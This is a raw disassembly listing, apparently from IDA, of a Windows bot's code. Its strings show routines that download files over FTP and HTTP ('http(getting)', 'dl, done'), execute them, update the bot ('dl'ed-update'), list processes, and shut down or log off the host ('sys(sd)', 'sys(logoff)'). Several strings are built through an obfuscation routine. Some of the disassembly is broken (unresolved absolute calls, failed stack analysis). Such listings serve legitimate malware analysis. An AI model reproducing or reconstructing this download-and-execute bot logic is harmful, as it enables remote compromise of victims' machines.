		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D730:				; CODE XREF: ___:00401168j
					; ___:loc_4019E7j
		push	esi
		mov	esi, ecx
		call	sub_4015C3
		test	byte ptr [esp+8], 1
		jz	short loc_41D748
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D748:				; CODE XREF: ___:0041D73Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D760	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D760
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D760	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D830	proc near		; CODE XREF: sub_401C80j

var_44		= dword	ptr -44h
var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_24		= byte ptr  28h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_110		= byte ptr  114h
arg_120		= byte ptr  124h
arg_130		= byte ptr  134h
arg_1110	= dword	ptr  1114h
arg_1114	= byte ptr  1118h
arg_1130	= dword	ptr  1134h
arg_1138	= dword	ptr  113Ch
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43B0F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F60
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ebx, [esi+65h]
		push	offset byte_446F60
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ecx, [esi+26h]
		push	offset byte_446F60
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D8D1
		push	offset byte_446F60
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D8C4
		push	offset byte_446F60
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D8D1


loc_41D8C4:				; CODE XREF: sub_41D830+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DF40
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D830+70j
					; sub_41D830+92j
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D95E
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41D96F


loc_41D95E:				; CODE XREF: sub_41D830+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41D96F:				; CODE XREF: sub_41D830+12Cj
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FBE
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	near ptr 27F0000h
		nop
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DB04
		call	sub_401E06
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		call	sub_401A69
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DA1C
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DF17
; ---------------------------------------------------------------------------


loc_41DA1C:				; CODE XREF: sub_41D830+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017E4
		push	eax
		call	sub_402243
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA73
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D830+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_4016A9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DAF2
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D830+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D52
		add	esp, 4
		jmp	loc_41DD7B
; ---------------------------------------------------------------------------


loc_41DB04:				; CODE XREF: sub_41D830+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_401424
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_401424
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017E4
		push	eax
		call	sub_401A8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DB87
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		dd 69BAB8E8h, 0BEE99071h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41D830+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+30h+arg_24]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+24h+arg_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+2Ch+arg_24]
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017E4
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DC80
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_24], esi
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+34h+var_18]
		mov	byte ptr [esp+34h+arg_1138], 3
		call	sub_401226
		lea	ecx, [esp+34h+arg_14]
		mov	byte ptr [esp+34h+arg_1138], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	[esp+34h+arg_1138], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D830+3DBj
					; sub_41D830+484j ...
		mov	eax, [esp+34h+var_20]
		push	0
		lea	edx, [esp+38h+arg_130]
		push	1000h
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DCF8
		cmp	ebp, 1000h
		jge	short loc_41DCB0
		mov	[esp+ebp+44h+arg_120], 0


loc_41DCB0:				; CODE XREF: sub_41D830+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DC80


loc_41DCB6:				; CODE XREF: sub_41D830+4A5j
		push	4
		lea	ecx, [esp+edi+48h+arg_120]
		push	offset asc_443EE8 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DCD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCB6
		jmp	short loc_41DC80
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41D830+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DCF8


loc_41DCE0:				; CODE XREF: sub_41D830+4C6j
		movsx	edx, [esp+edi+44h+arg_120]
		push	ebx
		push	edx
		call	near ptr 77C40E76h
		nop
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCE0


loc_41DCF8:				; CODE XREF: sub_41D830+46Ej
					; sub_41D830+4AEj ...
		mov	edi, [esp+44h+var_30]
		push	0
		lea	eax, [esp+48h+arg_120]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD48
		cmp	ebp, 1000h
		jge	short loc_41DD28
		mov	[esp+ebp+54h+arg_110], 0


loc_41DD28:				; CODE XREF: sub_41D830+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DCF8


loc_41DD2E:				; CODE XREF: sub_41D830+514j
		movsx	ecx, [esp+edi+54h+arg_110]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD2E
		jmp	short loc_41DCF8
; ---------------------------------------------------------------------------


loc_41DD48:				; CODE XREF: sub_41D830+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+arg_1114], 3
		call	sub_401226
		lea	ecx, [esp+58h+var_C]
		mov	[esp+58h+arg_1114], 2
		call	sub_401226


loc_41DD7B:				; CODE XREF: sub_41D830+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DE17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DF0F
		push	offset byte_446F60
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		jmp	loc_41DF0F
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41D830+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+58h+var_3C]
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	51h
		push	edx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	[esp+58h+arg_1114], 5
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		call	sub_402149
		add	esp, 8
		lea	ecx, [esp+58h+var_3C]
		mov	bl, al
		mov	[esp+58h+arg_1114], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DEEA
		mov	al, byte_4478C6
		test	al, al
		jz	short loc_41DEB9
		push	offset dword_447864
		mov	ecx, offset dword_448DA0
		call	sub_401447


loc_41DEB9:				; CODE XREF: sub_41D830+678j
		mov	al, byte_44790F
		test	al, al
		jz	short loc_41DED1
		push	offset byte_44793F
		mov	ecx, offset dword_448DA0
		call	sub_401942


loc_41DED1:				; CODE XREF: sub_41D830+690j
		mov	ecx, offset dword_448DA0
		call	sub_401E5B
		push	1
		mov	byte_4E6E74, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DEEA:				; CODE XREF: sub_41D830+66Fj
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_41DF0F:				; CODE XREF: sub_41D830+597j
					; sub_41D830+5E2j
		mov	[esp+5Ch+var_44], esi
		lea	edx, [esp+5Ch+var_44]


loc_41DF17:				; CODE XREF: sub_41D830+1E7j
		push	edx


loc_41DF18:				; CODE XREF: sub_41D830+23Ej
					; sub_41D830+2BDj
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+5Ch+var_28]
		mov	[esp+5Ch+arg_1110], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DF38:				; CODE XREF: sub_41D830+36j
					; sub_41D830+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DF40:				; CODE XREF: sub_41D830+9Cj
		push	eax
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
sub_41D830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D830


loc_41DF4B:				; CODE XREF: sub_41D830+44Bj
					; sub_41D830+706j
		mov	ecx, [esp+34h+arg_1130]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D830
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E140	proc near		; CODE XREF: sub_401B90j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_41E140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E31B
		push	offset dword_443FEC
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 2890339h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E31B:				; CODE XREF: ___:0041E2DEj
		lea	ecx, [esi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E36A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 2890339h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E36A:				; CODE XREF: ___:0041E32Dj
		lea	ecx, [esi+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		push	0
		push	4
		call	near ptr 2890339h
		nop


loc_41E3B1:				; CODE XREF: ___:0041E37Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E400	proc near		; CODE XREF: sub_401F5Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_41E400	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E660	proc near		; CODE XREF: sub_401613j

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E660
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E7FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018D9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E7E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401703
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jz	short loc_41E7E2
		mov	ebp, dword_50F8D0


loc_41E76E:				; CODE XREF: sub_41E660+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jnz	short loc_41E76E


loc_41E7E2:				; CODE XREF: sub_41E660+62j
					; sub_41E660+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401816
; ---------------------------------------------------------------------------
		mov	al, 1
